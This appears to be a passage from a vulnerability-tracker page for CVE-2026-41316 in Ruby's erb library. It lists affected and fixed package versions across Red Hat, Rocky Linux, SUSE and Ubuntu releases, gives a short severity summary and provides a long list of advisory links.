rubygem-test-unitRed Hat:enterprise_linux:9::appstream |
before 0:3.6.1-6.module+el9.7.0+24248+66578cbb | 0:3.6.1-6.module+el9.7.0+24248+66578cbb |
rubygem-typeprofRed Hat:enterprise_linux:9::appstream |
before 0:0.21.9-6.module+el9.7.0+24248+66578cbb | 0:0.21.9-6.module+el9.7.0+24248+66578cbb |
rubygemsRed Hat:enterprise_linux:9::appstream |
before 0:3.5.22-6.module+el9.7.0+24248+66578cbb | 0:3.5.22-6.module+el9.7.0+24248+66578cbb |
rubygems-develRed Hat:enterprise_linux:9::appstream |
before 0:3.5.22-6.module+el9.7.0+24248+66578cbb | 0:3.5.22-6.module+el9.7.0+24248+66578cbb |
rubyRed Hat:enterprise_linux:9::appstream |
before 0:3.0.7-166.el9_7 | 0:3.0.7-166.el9_7 |
ruby-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:3.0.7-166.el9_7 | 0:3.0.7-166.el9_7 |
ruby-debugsourceRed Hat:enterprise_linux:9::appstream |
before 0:3.0.7-166.el9_7 | 0:3.0.7-166.el9_7 |
ruby-default-gemsRed Hat:enterprise_linux:9::appstream |
before 0:3.0.7-166.el9_7 | 0:3.0.7-166.el9_7 |
ruby-develRed Hat:enterprise_linux:9::appstream |
before 0:3.0.7-166.el9_7 | 0:3.0.7-166.el9_7 |
ruby-libsRed Hat:enterprise_linux:9::appstream |
before 0:3.0.7-166.el9_7 | 0:3.0.7-166.el9_7 |
ruby-libs-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:3.0.7-166.el9_7 | 0:3.0.7-166.el9_7 |
rubygem-bigdecimalRed Hat:enterprise_linux:9::appstream |
before 0:3.0.0-166.el9_7 | 0:3.0.0-166.el9_7 |
rubygem-bigdecimal-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:3.0.0-166.el9_7 | 0:3.0.0-166.el9_7 |
rubygem-bundlerRed Hat:enterprise_linux:9::appstream |
before 0:2.2.33-166.el9_7 | 0:2.2.33-166.el9_7 |
rubygem-io-consoleRed Hat:enterprise_linux:9::appstream |
before 0:0.5.7-166.el9_7 | 0:0.5.7-166.el9_7 |
rubygem-io-console-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:0.5.7-166.el9_7 | 0:0.5.7-166.el9_7 |
rubygem-irbRed Hat:enterprise_linux:9::appstream |
before 0:1.3.5-166.el9_7 | 0:1.3.5-166.el9_7 |
rubygem-jsonRed Hat:enterprise_linux:9::appstream |
before 0:2.5.1-166.el9_7 | 0:2.5.1-166.el9_7 |
rubygem-json-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:2.5.1-166.el9_7 | 0:2.5.1-166.el9_7 |
rubygem-minitestRed Hat:enterprise_linux:9::appstream |
before 0:5.14.2-166.el9_7 | 0:5.14.2-166.el9_7 |
rubygem-power_assertRed Hat:enterprise_linux:9::appstream |
before 0:1.2.1-166.el9_7 | 0:1.2.1-166.el9_7 |
rubygem-psychRed Hat:enterprise_linux:9::appstream |
before 0:3.3.2-166.el9_7 | 0:3.3.2-166.el9_7 |
rubygem-psych-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:3.3.2-166.el9_7 | 0:3.3.2-166.el9_7 |
rubygem-rakeRed Hat:enterprise_linux:9::appstream |
before 0:13.0.3-166.el9_7 | 0:13.0.3-166.el9_7 |
rubygem-rbsRed Hat:enterprise_linux:9::appstream |
before 0:1.4.0-166.el9_7 | 0:1.4.0-166.el9_7 |
rubygem-rdocRed Hat:enterprise_linux:9::appstream |
before 0:6.3.4.1-166.el9_7 | 0:6.3.4.1-166.el9_7 |
rubygem-rexmlRed Hat:enterprise_linux:9::appstream |
before 0:3.2.5-166.el9_7 | 0:3.2.5-166.el9_7 |
rubygem-rssRed Hat:enterprise_linux:9::appstream |
before 0:0.2.9-166.el9_7 | 0:0.2.9-166.el9_7 |
rubygem-test-unitRed Hat:enterprise_linux:9::appstream |
before 0:3.3.7-166.el9_7 | 0:3.3.7-166.el9_7 |
rubygem-typeprofRed Hat:enterprise_linux:9::appstream |
before 0:0.15.2-166.el9_7 | 0:0.15.2-166.el9_7 |
rubygemsRed Hat:enterprise_linux:9::appstream |
before 0:3.2.33-166.el9_7 | 0:3.2.33-166.el9_7 |
rubygems-develRed Hat:enterprise_linux:9::appstream |
before 0:3.2.33-166.el9_7 | 0:3.2.33-166.el9_7 |
ruby-docRed Hat:enterprise_linux:9::crb |
before 0:3.0.7-166.el9_7 | 0:3.0.7-166.el9_7 |
rubyRed Hat:enterprise_linux:10.1 |
before 0:3.3.10-12.el10_1 | 0:3.3.10-12.el10_1 |
ruby-bundled-gemsRed Hat:enterprise_linux:10.1 |
before 0:3.3.10-12.el10_1 | 0:3.3.10-12.el10_1 |
ruby-bundled-gems-debuginfoRed Hat:enterprise_linux:10.1 |
before 0:3.3.10-12.el10_1 | 0:3.3.10-12.el10_1 |
ruby-debuginfoRed Hat:enterprise_linux:10.1 |
before 0:3.3.10-12.el10_1 | 0:3.3.10-12.el10_1 |
ruby-debugsourceRed Hat:enterprise_linux:10.1 |
before 0:3.3.10-12.el10_1 | 0:3.3.10-12.el10_1 |
ruby-default-gemsRed Hat:enterprise_linux:10.1 |
before 0:3.3.10-12.el10_1 | 0:3.3.10-12.el10_1 |
ruby-develRed Hat:enterprise_linux:10.1 |
before 0:3.3.10-12.el10_1 | 0:3.3.10-12.el10_1 |
ruby-libsRed Hat:enterprise_linux:10.1 |
before 0:3.3.10-12.el10_1 | 0:3.3.10-12.el10_1 |
ruby-libs-debuginfoRed Hat:enterprise_linux:10.1 |
before 0:3.3.10-12.el10_1 | 0:3.3.10-12.el10_1 |
rubygem-bigdecimalRed Hat:enterprise_linux:10.1 |
before 0:3.1.5-12.el10_1 | 0:3.1.5-12.el10_1 |
rubygem-bigdecimal-debuginfoRed Hat:enterprise_linux:10.1 |
before 0:3.1.5-12.el10_1 | 0:3.1.5-12.el10_1 |
rubygem-bundlerRed Hat:enterprise_linux:10.1 |
before 0:2.5.22-12.el10_1 | 0:2.5.22-12.el10_1 |
rubygem-io-consoleRed Hat:enterprise_linux:10.1 |
before 0:0.7.1-12.el10_1 | 0:0.7.1-12.el10_1 |
rubygem-io-console-debuginfoRed Hat:enterprise_linux:10.1 |
before 0:0.7.1-12.el10_1 | 0:0.7.1-12.el10_1 |
rubygem-irbRed Hat:enterprise_linux:10.1 |
before 0:1.13.1-12.el10_1 | 0:1.13.1-12.el10_1 |
rubygem-jsonRed Hat:enterprise_linux:10.1 |
before 0:2.7.2-12.el10_1 | 0:2.7.2-12.el10_1 |
rubygem-json-debuginfoRed Hat:enterprise_linux:10.1 |
before 0:2.7.2-12.el10_1 | 0:2.7.2-12.el10_1 |
rubygem-minitestRed Hat:enterprise_linux:10.1 |
before 0:5.20.0-12.el10_1 | 0:5.20.0-12.el10_1 |
rubygem-power_assertRed Hat:enterprise_linux:10.1 |
before 0:2.0.3-12.el10_1 | 0:2.0.3-12.el10_1 |
rubygem-psychRed Hat:enterprise_linux:10.1 |
before 0:5.1.2-12.el10_1 | 0:5.1.2-12.el10_1 |
rubygem-psych-debuginfoRed Hat:enterprise_linux:10.1 |
before 0:5.1.2-12.el10_1 | 0:5.1.2-12.el10_1 |
rubygem-raccRed Hat:enterprise_linux:10.1 |
before 0:1.7.3-12.el10_1 | 0:1.7.3-12.el10_1 |
rubygem-racc-debuginfoRed Hat:enterprise_linux:10.1 |
before 0:1.7.3-12.el10_1 | 0:1.7.3-12.el10_1 |
rubygem-rakeRed Hat:enterprise_linux:10.1 |
before 0:13.1.0-12.el10_1 | 0:13.1.0-12.el10_1 |
rubygem-rbsRed Hat:enterprise_linux:10.1 |
before 0:3.4.0-12.el10_1 | 0:3.4.0-12.el10_1 |
rubygem-rbs-debuginfoRed Hat:enterprise_linux:10.1 |
before 0:3.4.0-12.el10_1 | 0:3.4.0-12.el10_1 |
rubygem-rdocRed Hat:enterprise_linux:10.1 |
before 0:6.6.3.1-12.el10_1 | 0:6.6.3.1-12.el10_1 |
rubygem-rexmlRed Hat:enterprise_linux:10.1 |
before 0:3.4.4-12.el10_1 | 0:3.4.4-12.el10_1 |
rubygem-rssRed Hat:enterprise_linux:10.1 |
before 0:0.3.1-12.el10_1 | 0:0.3.1-12.el10_1 |
rubygem-mysql2Rocky Linux:9 |
before 0:0.5.5-3.module+el9.7.0+40032+36e56d0d | 0:0.5.5-3.module+el9.7.0+40032+36e56d0d |
rubyRocky Linux:9 |
before 0:3.0.7-166.el9_7 | 0:3.0.7-166.el9_7 |
rubyRocky Linux:10 |
before 0:3.3.10-12.el10_1 | 0:3.3.10-12.el10_1 |
rubygem-mysql2Rocky Linux:9 From an advisory covering 2 CVEs |
before 0:0.5.7-1.module+el9.8.0+40094+ce01217c | 0:0.5.7-1.module+el9.8.0+40094+ce01217c |
rubygem-pgRocky Linux:9 From an advisory covering 2 CVEs |
before 0:1.6.3-1.module+el9.8.0+40094+ce01217c | 0:1.6.3-1.module+el9.8.0+40094+ce01217c |
ruby4.0Rocky Linux:10 From an advisory covering 2 CVEs |
before 0:4.0.3-34.el10_2 | 0:4.0.3-34.el10_2 |
rubygem-abrtRocky Linux:8 |
before 0:0.4.0-1.module+el8.10.0+1679+61871737 | 0:0.4.0-1.module+el8.10.0+1679+61871737 |
rubygem-abrtRocky Linux:8 |
before 0:0.4.0-1.module+el8.10.0+1741+bdb5b6ca | 0:0.4.0-1.module+el8.10.0+1741+bdb5b6ca |
rubygem-abrtRocky Linux:8 |
before 0:0.4.0-1.module+el8.10.0+1820+f3fffb92 | 0:0.4.0-1.module+el8.10.0+1820+f3fffb92 |
rubygem-abrtRocky Linux:8 |
before 0:0.4.0-1.module+el8.10.0+1826+b62220b4 | 0:0.4.0-1.module+el8.10.0+1826+b62220b4 |
rubygem-abrtRocky Linux:8 |
before 0:0.4.0-1.module+el8.5.0+668+665814fa | 0:0.4.0-1.module+el8.5.0+668+665814fa |
rubygem-abrtRocky Linux:8 |
before 0:0.4.0-1.module+el8.10.0+1827+16ecb9d2 | 0:0.4.0-1.module+el8.10.0+1827+16ecb9d2 |
rubygem-abrtRocky Linux:8 |
before 0:0.4.0-1.module+el8.9.0+1537+0b2034bd | 0:0.4.0-1.module+el8.9.0+1537+0b2034bd |
rubygem-mysql2Rocky Linux:8 |
before 0:0.5.5-1.module+el8.10.0+1679+61871737 | 0:0.5.5-1.module+el8.10.0+1679+61871737 |
rubygem-mysql2Rocky Linux:8 |
before 0:0.5.5-1.module+el8.10.0+1827+16ecb9d2 | 0:0.5.5-1.module+el8.10.0+1827+16ecb9d2 |
rubygem-pgRocky Linux:8 |
before 0:1.5.4-1.module+el8.10.0+1679+61871737 | 0:1.5.4-1.module+el8.10.0+1679+61871737 |
rubygem-pgRocky Linux:8 |
before 0:1.5.4-1.module+el8.10.0+1827+16ecb9d2 | 0:1.5.4-1.module+el8.10.0+1827+16ecb9d2 |
erbRoot:Ruby |
before 4.0.2.41610.1 | 4.0.2.41610.1 |
ruby2.5SUSE:Linux Enterprise Module for Basesystem 15 SP7 |
before 2.5.9-150700.24.11.1 | 2.5.9-150700.24.11.1 |
jrubyUbuntu:Pro:14.04:LTS |
All versions, plus listed versions 1.5.6-5ubuntu11.5.6-61.5.6-71.5.6-9+deb8u2build0.14.04.1~esm2 |
None known |
ruby2.3Ubuntu:Pro:16.04:LTS |
All versions, plus listed versions 2.3.0-12.3.0-22.3.0-4ubuntu22.3.0-4ubuntu32.3.0-5ubuntu1 Show 28 moreShow less2.3.1-2~16.042.3.1-2~16.04.22.3.1-2~16.04.42.3.1-2~16.04.52.3.1-2~16.04.62.3.1-2~16.04.72.3.1-2~16.04.92.3.1-2~16.04.102.3.1-2~16.04.112.3.1-2~16.04.122.3.1-2~ubuntu16.04.132.3.1-2~ubuntu16.04.142.3.1-2~ubuntu16.04.152.3.1-2~ubuntu16.04.162.3.1-2~ubuntu16.04.16+esm12.3.1-2~ubuntu16.04.16+esm22.3.1-2~ubuntu16.04.16+esm32.3.1-2~ubuntu16.04.16+esm42.3.1-2~ubuntu16.04.16+esm52.3.1-2~ubuntu16.04.16+esm62.3.1-2~ubuntu16.04.16+esm72.3.1-2~ubuntu16.04.16+esm82.3.1-2~ubuntu16.04.16+esm92.3.1-2~ubuntu16.04.16+esm102.3.1-2~ubuntu16.04.16+esm112.3.1-2~ubuntu16.04.16+esm122.3.1-2~ubuntu16.04.16+esm142.3.1-2~ubuntu16.04.16+esm15 |
None known |
jrubyUbuntu:16.04:LTS |
All versions, plus listed versions 1.7.21-2ubuntu41.7.22-1ubuntu1 |
None known |
ruby2.5Ubuntu:Pro:18.04:LTS |
All versions, plus listed versions 2.5.0~preview1-1ubuntu22.5.0-4ubuntu12.5.0-4ubuntu42.5.0-5ubuntu12.5.0-6ubuntu1 Show 23 moreShow less2.5.1-1ubuntu12.5.1-1ubuntu1.12.5.1-1ubuntu1.22.5.1-1ubuntu1.42.5.1-1ubuntu1.52.5.1-1ubuntu1.62.5.1-1ubuntu1.72.5.1-1ubuntu1.82.5.1-1ubuntu1.92.5.1-1ubuntu1.102.5.1-1ubuntu1.112.5.1-1ubuntu1.122.5.1-1ubuntu1.132.5.1-1ubuntu1.142.5.1-1ubuntu1.152.5.1-1ubuntu1.162.5.1-1ubuntu1.16+esm12.5.1-1ubuntu1.16+esm32.5.1-1ubuntu1.16+esm42.5.1-1ubuntu1.16+esm52.5.1-1ubuntu1.16+esm62.5.1-1ubuntu1.16+esm72.5.1-1ubuntu1.16+esm8 |
None known |
jrubyUbuntu:18.04:LTS |
All versions, plus listed versions 9.1.13.0-19.1.17.0-1~18.04 |
None known |
ruby2.7Ubuntu:Pro:20.04:LTS |
All versions, plus listed versions 2.7.0-12.7.0-22.7.0-32.7.0-42.7.0-4ubuntu1 Show 23 moreShow less2.7.0-5ubuntu12.7.0-5ubuntu1.12.7.0-5ubuntu1.22.7.0-5ubuntu1.32.7.0-5ubuntu1.42.7.0-5ubuntu1.52.7.0-5ubuntu1.62.7.0-5ubuntu1.72.7.0-5ubuntu1.82.7.0-5ubuntu1.92.7.0-5ubuntu1.102.7.0-5ubuntu1.112.7.0-5ubuntu1.122.7.0-5ubuntu1.132.7.0-5ubuntu1.142.7.0-5ubuntu1.152.7.0-5ubuntu1.162.7.0-5ubuntu1.172.7.0-5ubuntu1.182.7.0-5ubuntu1.18+esm12.7.0-5ubuntu1.18+esm32.7.0-5ubuntu1.18+esm42.7.0-5ubuntu1.18+esm5 |
None known |
jrubyUbuntu:20.04:LTS |
All versions, plus listed versions 9.1.17.0-39.1.17.0-3build59.1.17.0-3build6 |
None known |
ruby3.0Ubuntu:22.04:LTS |
All versions, plus listed versions 3.0.2-5ubuntu13.0.2-73.0.2-7ubuntu23.0.2-7ubuntu2.13.0.2-7ubuntu2.2 Show 10 moreShow less3.0.2-7ubuntu2.33.0.2-7ubuntu2.43.0.2-7ubuntu2.53.0.2-7ubuntu2.63.0.2-7ubuntu2.73.0.2-7ubuntu2.83.0.2-7ubuntu2.103.0.2-7ubuntu2.113.0.2-7ubuntu2.123.0.2-7ubuntu2.13 |
None known |
ruby3.2Ubuntu:24.04:LTS |
All versions, plus listed versions 3.2.3-13.2.3-1build23.2.3-1build33.2.3-1ubuntu0.24.04.13.2.3-1ubuntu0.24.04.3 Show 4 moreShow less3.2.3-1ubuntu0.24.04.53.2.3-1ubuntu0.24.04.63.2.3-1ubuntu0.24.04.73.2.3-1ubuntu0.24.04.8 |
None known |
jrubyUbuntu:25.10 |
All versions, plus listed versions 9.4.8.0+ds-2ubuntu19.4.8.0+ds-3ubuntu1 |
None known |
ruby3.3Ubuntu:25.10 |
All versions, plus listed versions 3.3.7-1ubuntu23.3.8-2ubuntu13.3.8-2ubuntu23.3.8-2ubuntu2.1 |
None known |
jrubyUbuntu:26.10 |
All versions, plus listed versions 9.4.8.0+ds-3ubuntu19.4.14.0+ds-1 |
None known |
ruby3.3Ubuntu:26.10 |
All versions, plus listed versions 3.3.8-2ubuntu33.3.8-2.2ubuntu4 |
None known |
jrubyUbuntu:26.04:LTS |
All versions, plus listed versions 9.4.8.0+ds-3ubuntu1 |
None known |
ruby3.3Ubuntu:26.04:LTS |
All versions, plus listed versions 3.3.8-2ubuntu23.3.8-2ubuntu33.3.8-2ubuntu3.1 |
None known |
ruby4.0openSUSE:Tumbleweed |
before 4.0.3-1.1 | 4.0.3-1.1 |
ruby3.4openSUSE:Leap 16.0 From an advisory covering 8 CVEs |
before 3.4.10-160000.1.1 | 3.4.10-160000.1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | OSV | |
| affected | OSV | |
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-41316 is a high vulnerability (CVSS 8.1) in Ruby Erb, published April 23, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.13%, the 66th percentile. Fixed in erb 4.0.3.1.
References
github.com/ruby/erb/security/advisories/GHSA-q339-8rmv-2mhv
access.redhat.com/security/cve/CVE-2026-41316
bugzilla.redhat.com/show_bug.cgi?id=2461369
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-41316.json
access.redhat.com/errata/RHSA-2026:33478
access.redhat.com/errata/RHSA-2026:18065
Show 101 moreShow less
access.redhat.com/errata/RHSA-2026:20606
access.redhat.com/errata/RHSA-2026:20614
access.redhat.com/errata/RHSA-2026:20670
access.redhat.com/errata/RHSA-2026:35834
access.redhat.com/errata/RHSA-2026:26312
access.redhat.com/errata/RHSA-2026:26655
access.redhat.com/errata/RHSA-2026:33462
access.redhat.com/errata/RHSA-2026:37238
access.redhat.com/errata/RHSA-2026:18039
access.redhat.com/errata/RHSA-2026:18030
access.redhat.com/errata/RHSA-2026:20596
nvd.nist.gov/vuln/detail/CVE-2026-41316
github.com/rubysec/ruby-advisory-db/blob/master/gems/erb/CVE-2026-41316.yml
github.com/advisories/GHSA-q339-8rmv-2mhv
security.alpinelinux.org/vuln/CVE-2026-41316
bugzilla.redhat.com/2461369
errata.almalinux.org/9/ALSA-2026-18030.html
errata.almalinux.org/9/ALSA-2026-18039.html
errata.almalinux.org/10/ALSA-2026-18065.html
access.redhat.com/security/cve/CVE-2026-33210
bugzilla.redhat.com/2449871
errata.almalinux.org/9/ALSA-2026-20596.html
errata.almalinux.org/10/ALSA-2026-20606.html
errata.almalinux.org/8/ALSA-2026-20614.html
docs.bell-sw.com/security/cves/CVE-2026-41316
errata.tuxcare.com/els_os/almalinux9.2esu/CLSA-2026-1779745996.html
errata.tuxcare.com/els_os/tuxcare9.6esu/CLSA-2026-1781100836.html
github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41316.json
security-tracker.debian.org/tracker/CVE-2026-41316
github.com/ruby/erb
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-2263
access.redhat.com/security/updates/classification
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_18030.json
cve.org/CVERecord?id=CVE-2026-41316
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_18039.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_18065.json
bugzilla.redhat.com/show_bug.cgi?id=2449871
issues.redhat.com/browse/RHEL-171933
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_20596.json
cve.org/CVERecord?id=CVE-2026-33210
nvd.nist.gov/vuln/detail/CVE-2026-33210
github.com/ruby/json/security/advisories/GHSA-3m6g-2423-7cp3
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_20606.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_20614.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_20670.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_26312.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_26655.json
bugzilla.redhat.com/show_bug.cgi?id=2468498
bugzilla.redhat.com/show_bug.cgi?id=2468499
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_33462.json
access.redhat.com/security/cve/CVE-2026-42246
cve.org/CVERecord?id=CVE-2026-42246
nvd.nist.gov/vuln/detail/CVE-2026-42246
github.com/ruby/net-imap/commit/0ede4c40b1523dfeaf95777b2678e54cc0fd9618
github.com/ruby/net-imap/commit/24a4e770b43230286a05aa2a9746cdbb3eb8485e
github.com/ruby/net-imap/commit/97e2488fb5401a1783bddd959dde007d9fbce42c
github.com/ruby/net-imap/commit/f79d35bf5833f186e81044c57c843eda30c873da
github.com/ruby/net-imap/releases/tag/v0.3.10
github.com/ruby/net-imap/releases/tag/v0.4.24
github.com/ruby/net-imap/releases/tag/v0.5.14
github.com/ruby/net-imap/security/advisories/GHSA-vcgp-9326-pqcp
access.redhat.com/security/cve/CVE-2026-42258
cve.org/CVERecord?id=CVE-2026-42258
nvd.nist.gov/vuln/detail/CVE-2026-42258
github.com/ruby/net-imap/releases/tag/v0.6.4
github.com/ruby/net-imap/security/advisories/GHSA-75xq-5h9v-w6px
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_33478.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_35834.json
bugzilla.redhat.com/show_bug.cgi?id=2468495
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_37238.json
access.redhat.com/security/cve/CVE-2026-42245
cve.org/CVERecord?id=CVE-2026-42245
nvd.nist.gov/vuln/detail/CVE-2026-42245
github.com/ruby/net-imap/commit/6091f7d6b1f3514cafbfe39c76f2b5d73de3ca96
github.com/ruby/net-imap/commit/88d95231fc8afef11c1f074453f7d75b68c9dfda
github.com/ruby/net-imap/commit/de685f91a4a4cc75eb80da898c2bf8af08d34819
github.com/ruby/net-imap/security/advisories/GHSA-q2mw-fvj9-vvcw
errata.rockylinux.org/RLSA-2026:18030
errata.rockylinux.org/RLSA-2026:18039
errata.rockylinux.org/RLSA-2026:18065
errata.rockylinux.org/RLSA-2026:20596
errata.rockylinux.org/RLSA-2026:20606
errata.rockylinux.org/RLSA-2026:20614
suse.com/support/update/announcement/2026/suse-su-20263556-1
bugzilla.suse.com/1262441
suse.com/security/cve/CVE-2026-41316
ubuntu.com/security/CVE-2026-41316
bugzilla.suse.com/1250016
bugzilla.suse.com/1255833
bugzilla.suse.com/1259239
bugzilla.suse.com/1268011
bugzilla.suse.com/1268337
bugzilla.suse.com/1268338
bugzilla.suse.com/1268339
suse.com/security/cve/CVE-2025-58767
suse.com/security/cve/CVE-2025-61594
suse.com/security/cve/CVE-2026-27820
suse.com/security/cve/CVE-2026-42258
suse.com/security/cve/CVE-2026-47240
suse.com/security/cve/CVE-2026-47241
suse.com/security/cve/CVE-2026-47242
Left out here: 358 package rows and the rest of 3 source descriptions. The JSON record has them.